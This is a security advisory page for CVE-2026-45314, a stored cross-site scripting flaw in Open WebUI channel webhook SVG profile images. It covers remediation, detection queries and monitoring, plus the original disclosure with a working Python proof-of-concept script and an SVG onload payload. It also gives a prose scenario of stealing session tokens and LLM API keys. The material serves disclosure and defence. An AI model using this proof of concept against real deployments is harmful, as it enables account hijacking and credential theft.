CVE-2026-45314: Open WebUI: Stored XSS via webhook SVG profile image
GHSA-3856-3vxq-m6fc HIGH CISA: TRACK*Open WebUI versions through 0.9.2 contain a stored cross-site scripting flaw where any low-privilege authenticated user can embed a malicious SVG payload into a channel webhook's profile image URL; the server base64-decodes and streams the SVG directly to browsers as image/svg+xml with no sanitization, executing attacker JavaScript in the application origin for every user who views that webhook. The impact is severe: a successful exploit lets the attacker silently exfiltrate session tokens and API keys stored in localStorage, hijack accounts, and chain into further compromise—all from a single low-privilege account and a 30-line Python script. Open WebUI has accumulated 91 CVEs in this package with a risk score of 38/100, signaling a persistent pattern of security debt in a widely self-hosted AI chat interface. Patch to open-webui 0.9.3 immediately; if patching is blocked, disable the Channels (Beta) feature in the Admin Panel as a temporary workaround and audit webhook records in your database for existing data:image/svg+xml payloads.
What is the risk?
Risk is HIGH. The attack requires only a low-privilege account and the Channels Beta feature to be enabled—no admin access, no AI/ML expertise. The PoC is public and trivial. Stored XSS in an AI UI platform is particularly dangerous because these deployments routinely store API keys for frontier models (OpenAI, Anthropic) in browser localStorage or cookies, giving attackers direct access to costly inference APIs. The patch is available (v0.9.3), reducing residual risk for patched instances, but unpatched self-hosted deployments remain fully exposed.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Open WebUI | pip | <= 0.9.2 | 0.9.3 |
Do you use Open WebUI? You're affected.
How severe is it?
What should I do?
5 steps-
PATCH
Upgrade open-webui to >= 0.9.3 immediately (pip install --upgrade open-webui or pull the updated Docker image).
-
WORKAROUND (if patching is delayed): Disable Channels (Beta) in Admin Panel → Settings.
-
DETECTION
Query your database for webhook records where profile_image_url starts with 'data:image/svg+xml' — these are IOCs for existing exploitation or pre-positioned payloads: SELECT id, name, profile_image_url FROM channel_webhooks WHERE profile_image_url LIKE 'data:image/svg+xml%'.
-
ROTATE
If you cannot confirm an unpatched instance was not compromised, rotate all API keys stored in user settings (OpenAI, Anthropic, etc.) and invalidate active sessions.
-
MONITOR
Alert on HTTP requests to /api/v1/channels/webhooks/*/profile/image that return Content-Type: image/svg+xml from your reverse proxy logs.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-45314?
Open WebUI versions through 0.9.2 contain a stored cross-site scripting flaw where any low-privilege authenticated user can embed a malicious SVG payload into a channel webhook's profile image URL; the server base64-decodes and streams the SVG directly to browsers as image/svg+xml with no sanitization, executing attacker JavaScript in the application origin for every user who views that webhook. The impact is severe: a successful exploit lets the attacker silently exfiltrate session tokens and API keys stored in localStorage, hijack accounts, and chain into further compromise—all from a single low-privilege account and a 30-line Python script. Open WebUI has accumulated 91 CVEs in this package with a risk score of 38/100, signaling a persistent pattern of security debt in a widely self-hosted AI chat interface. Patch to open-webui 0.9.3 immediately; if patching is blocked, disable the Channels (Beta) feature in the Admin Panel as a temporary workaround and audit webhook records in your database for existing data:image/svg+xml payloads.
Is CVE-2026-45314 actively exploited?
No confirmed active exploitation of CVE-2026-45314 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-45314?
1. PATCH: Upgrade open-webui to >= 0.9.3 immediately (pip install --upgrade open-webui or pull the updated Docker image). 2. WORKAROUND (if patching is delayed): Disable Channels (Beta) in Admin Panel → Settings. 3. DETECTION: Query your database for webhook records where profile_image_url starts with 'data:image/svg+xml' — these are IOCs for existing exploitation or pre-positioned payloads: SELECT id, name, profile_image_url FROM channel_webhooks WHERE profile_image_url LIKE 'data:image/svg+xml%'. 4. ROTATE: If you cannot confirm an unpatched instance was not compromised, rotate all API keys stored in user settings (OpenAI, Anthropic, etc.) and invalidate active sessions. 5. MONITOR: Alert on HTTP requests to /api/v1/channels/webhooks/*/profile/image that return Content-Type: image/svg+xml from your reverse proxy logs.
What systems are affected by CVE-2026-45314?
This vulnerability affects the following AI/ML architecture patterns: AI chatbot UI deployments, Self-hosted LLM interfaces, LLM API proxy deployments, Agent frameworks with Open WebUI front-end.
What is the CVSS score for CVE-2026-45314?
No CVSS score has been assigned yet.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0012 Valid Accounts AML.T0025 Exfiltration via Cyber Means AML.T0049 Exploit Public-Facing Application AML.T0055 Unsecured Credentials AML.T0091.000 Application Access Token Compliance Controls Affected
What are the technical details?
Original Advisory
As part of our research on improving our [AI pentest](https://www.aikido.dev/attack/aipentest), we have uncovered the following issue in Open WebUI. We've manually verified and tided up the report, but you can also find the original agent finding at the bottom of this report. ### Summary The channel webhook create/update flow accepts arbitrary `profile_image_url` values, including `data:image/svg+xml;base64,...` payloads. The profile image endpoint then decodes and serves this SVG as `image/svg+xml` without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser. ### Details The server accepts `data:image/svg+xml;base64,...` values for `profile_image_url` when creating or updating a webhook. Later, `GET /api/v1/channels/webhooks/{webhook_id}/profile/image` detects `data:image`, base64-decodes it, derives the media type from the header (e.g., `image/svg+xml`), and returns a `StreamingResponse` with `Content-Disposition: inline` and `media_type` set to `image/svg+xml`. There is no sanitization or transformation. When this URL is opened in a browser, SVG event handlers such as onload execute in the application origin, resulting in stored XSS. ### PoC 1. Set up a new instance of Open WebUI and log in as admin 2. In the Admin Panel, enable *Channels (Beta)* and click Save 3. Create a low-privilege user in the Users tab 4. As the attacker, use the low-privilege user to run the following script: ```py import base64 import secrets import requests BASE_URL = "http://127.0.0.1:14000" EMAIL = "low@local.test" PASSWORD = "low" CHANNEL_NAME_PREFIX = "xsswh-poc" WEBHOOK_NAME = "xss-webhook-poc" SVG_CANARY = '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(origin)"></svg>' if __name__ == "__main__": s = requests.Session() s.headers.update({"Content-Type": "application/json"}) r = s.post( f"{BASE_URL}/api/v1/auths/signin", json={"email": EMAIL, "password": PASSWORD}, timeout=30, ) r.raise_for_status() s.headers["Authorization"] = f"Bearer {r.json()['token']}" r = s.post( f"{BASE_URL}/api/v1/channels/create", json={ "name": f"{CHANNEL_NAME_PREFIX}-{secrets.token_hex(4)}", "type": "group", "user_ids": [], "group_ids": [], }, timeout=30, ) r.raise_for_status() channel_id = r.json()["id"] payload = "data:image/svg+xml;base64," + base64.b64encode(SVG_CANARY.encode()).decode() r = s.post( f"{BASE_URL}/api/v1/channels/{channel_id}/webhooks/create", json={"name": WEBHOOK_NAME, "profile_image_url": payload}, timeout=30, ) r.raise_for_status() webhook_id = r.json()["id"] print(f"{BASE_URL}/api/v1/channels/webhooks/{webhook_id}/profile/image") ``` This should print a URL like the following, which when visited (by any user), triggers a JavaScript popup proving XSS: http://127.0.0.1:14000/api/v1/channels/webhooks/aa7c925f-4584-4274-82bf-33a7e98a3365/profile/image <img width="1079" height="222" alt="image" src="https://github.com/user-attachments/assets/ce158ace-d14f-4a73-aeb0-e828aff005df" /> ### Impact Conditions required: The victim must be an authenticated, verified user. Channel feature must be enabled. Stored XSS enables arbitrary JavaScript execution in the context of the application's origin for any viewer who loads the malicious profile image URL. An attacker can exfiltrate session tokens (localstorage) or API keys stored in the page context, perform unauthorized actions on behalf of the victim via same-origin APIs, alter settings, or pivot to broader account compromise. Because this vector is persisted in the database as part of a webhook's profile image, it remains active until removed. ### Original Agent Report <img width="400" alt="app aikido dev_ai-pentests_projects_116389_assessments_019d67d4-81c8-7dd2-bb9e-0a4a774b2c78_issues_sidebarIssue=20439766 (5)" src="https://github.com/user-attachments/assets/0bfb2c7c-f7c4-49cd-a262-5ed9e1bb10df" />
Exploitation Scenario
An attacker with a free trial or low-privilege account on a corporate Open WebUI instance enables channel creation, crafts a webhook payload containing a base64-encoded SVG with an onload handler that exfiltrates document.cookie and localStorage to an attacker-controlled endpoint, and creates the webhook via the API. The malicious profile image URL is now persisted in the database. When a higher-privileged user—such as an admin reviewing channel configurations or a developer viewing webhook details—loads the profile image URL (triggered automatically by the UI rendering the webhook list), the SVG executes, silently POSTing session tokens and stored LLM API keys to the attacker. The attacker then uses the harvested API keys to make unlimited inference calls or pivot into backend systems accessible from the admin session.
Weaknesses (CWE)
CWE-87 — Improper Neutralization of Alternate XSS Syntax: The product does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.
- [Implementation] Resolve all input to absolute or canonical representations before processing.
- [Implementation] Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
Source: MITRE CWE corpus.
References
Timeline
Related Vulnerabilities
CVE-2026-44551 9.1 open-webui: LDAP auth bypass — full account takeover
Same package: open-webui CVE-2026-45672 8.8 open-webui: code exec gate bypass via API endpoint
Same package: open-webui CVE-2026-44552 8.7 open-webui: Redis cache poisoning enables cross-instance tool hijack
Same package: open-webui CVE-2025-64495 8.7 Open WebUI: XSS-to-RCE via malicious prompt injection
Same package: open-webui CVE-2026-45315 8.7 open-webui: stored XSS → JWT theft and admin takeover
Same package: open-webui